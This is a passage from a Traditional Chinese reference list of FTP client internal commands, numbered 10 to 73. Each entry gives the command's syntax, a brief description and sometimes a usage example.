10. cd remote-dir:進入遠程主機目錄。
11.cdup:進入遠程主機目錄的父目錄。
12.chmod mode file-name:將遠程主機檔案file-name的存取方式設定為mode,如:chmod 777 a.out。
13.close:中斷與遠程伺服器的ftp會話(與open對應)。
14 .cr:使用asscii方式傳輸檔案時,將回車換行轉換為回行。
15.delete remote-file:刪除遠程主機檔案。
16.debug[debug-value]:設定調試方式, 顯示傳送至遠程主機的每條命令,如:deb up 3,若設為0,表示取消debug。
17.dir[remote-dir][local-file]:顯示遠程主機目錄,並將結果存入本地檔案。
18.disconnection:同close。
19.form format:將檔案傳輸方式設定為format,預設為file方式。
20.get remote-file[local-file]:將遠程主機的檔案remote-file傳至本地硬碟的local-file。
21.glob:設定mdelete,mget,mput的檔案名稱擴展,預設時不擴展檔案名稱,同命令行的-g參數。
22.hash:每傳輸1024位元組,顯示一個hash符號(#)。
23.help[cmd]:顯示ftp內部命令cmd的幫助信息,如:help get。
24.idle[seconds]:將遠程伺服器的休眠計時器設為[seconds]秒。
25.image:設定二進制傳輸方式(同binary)。
26.lcd[dir]:將本地工作目錄切換至dir。
27. ls[remote-dir][local-file]:顯示遠程目錄remote-dir, 並存入本地檔案local-file。
28.macdef macro-name:定義一個宏,遇到macdef下的空行時,宏定義結束。
29.mdelete[remote-file]:刪除遠程主機檔案。
30.mdir remote-files local-file:與dir類似,但可指定多個遠程檔案,如 :mdir *.o.*.zipoutfile。
31.mget remote-files:傳輸多個遠程檔案。
32.mkdir dir-name:在遠程主機中建一目錄。
33.mls remote-file local-file:同nlist,但可指定多個檔案名稱。
34.mode[modename]:將檔案傳輸方式設定為modename, 預設為stream方式。
35.modtime file-name:顯示遠程主機檔案的最後修改時間。
36.mput local-file:將多個檔案傳輸至遠程主機。
37.newer file-name:如果遠程機中file-name的修改時間比本地硬碟同名檔案的時間更近,則重傳該檔案。
38.nlist[remote-dir][local-file]:顯示遠程主機目錄的檔案清單,並存入本地硬碟的local-file。
39.nmap[inpattern outpattern]:設定檔案名稱映射機制, 使得檔案傳輸時,檔案中的某些字元相互轉換, 如:nmap $1.$2.$3[$1,$2].[$2,$3],則傳輸檔案a1.a2.a3時,檔案名稱變為a1,a2。該命令特別適用於遠程主機為非UNIX機的情況。
40.ntrans[inchars[outchars]]:設定檔案名稱字元的翻譯機制,如ntrans1R,則檔案名稱LLL將變為RRR。
41.open host[port]:建立指定ftp伺服器連線,可指定連線連線埠。
42.passive:進入被動傳輸方式。
43.prompt:設定多個檔案傳輸時的互動提示。
44.proxy ftp-cmd:在次要控制連線中,執行一條ftp命令, 該命令允許連線兩個ftp伺服器,以在兩個伺服器間傳輸檔案。第一條ftp命令必須為open,以首先建立兩個伺服器間的連線。
45.put local-file[remote-file]:將本地檔案local-file傳送至遠程主機。
46.pwd:顯示遠程主機的當前工作目錄。
47.quit:同bye,退出ftp會話。
48.quote arg1,arg2...:將參數逐字發至遠程ftp伺服器,如:quote syst.
49.recv remote-file[local-file]:同get。
50.reget remote-file[local-file]:類似於get, 但若local-file存在,則從上次傳輸中斷處續傳。
51.rhelp[cmd-name]:請求獲得遠程主機的幫助。
52.rstatus[file-name]:若未指定檔案名稱,則顯示遠程主機的狀態, 否則顯示檔案狀態。
53.rename[from][to]:更改遠程主機檔案名稱。
54.reset:清除回答佇列。
55.restart marker:從指定的標誌marker處,重新開始get或put,如:restart 130。
56.rmdir dir-name:刪除遠程主機目錄。
57.runique:設定檔案名稱只一性存儲,若檔案存在,則在原檔案後加後綴.1, .2等。
58.send local-file[remote-file]:同put。
59.sendport:設定PORT命令的使用。
60.site arg1,arg2...:將參數作為SITE命令逐字傳送至遠程ftp主機。
61.size file-name:顯示遠程主機檔案大小,如:site idle 7200。
62.status:顯示當前ftp狀態。
63.struct[struct-name]:將檔案傳輸結構設定為struct-name, 預設時使用stream結構。
64.sunique:將遠程主機檔案名稱存儲設定為只一(與runique對應)。
65.system:顯示遠程主機的作業系統類型。
66.tenex:將檔案傳輸類型設定為TENEX機的所需的類型。
67.tick:設定傳輸時的位元組計數器。
68.trace:設定包跟蹤。
69.type[type-name]:設定檔案傳輸類型為type-name,預設為ascii,如:type binary,設定二進制傳輸方式。
70.umask[newmask]:將遠程伺服器的預設umask設定為newmask,如:umask 3
71.user user-name[password][account]:向遠程主機表明自己的身份,需要口令時,必須輸入口令,如:user anonymous my@email。
72.verbose:同命令行的-v參數,即設定詳盡報告方式,ftp 伺服器的所有響 應都將顯示給用戶,預設為on.
73.?[cmd]:同help.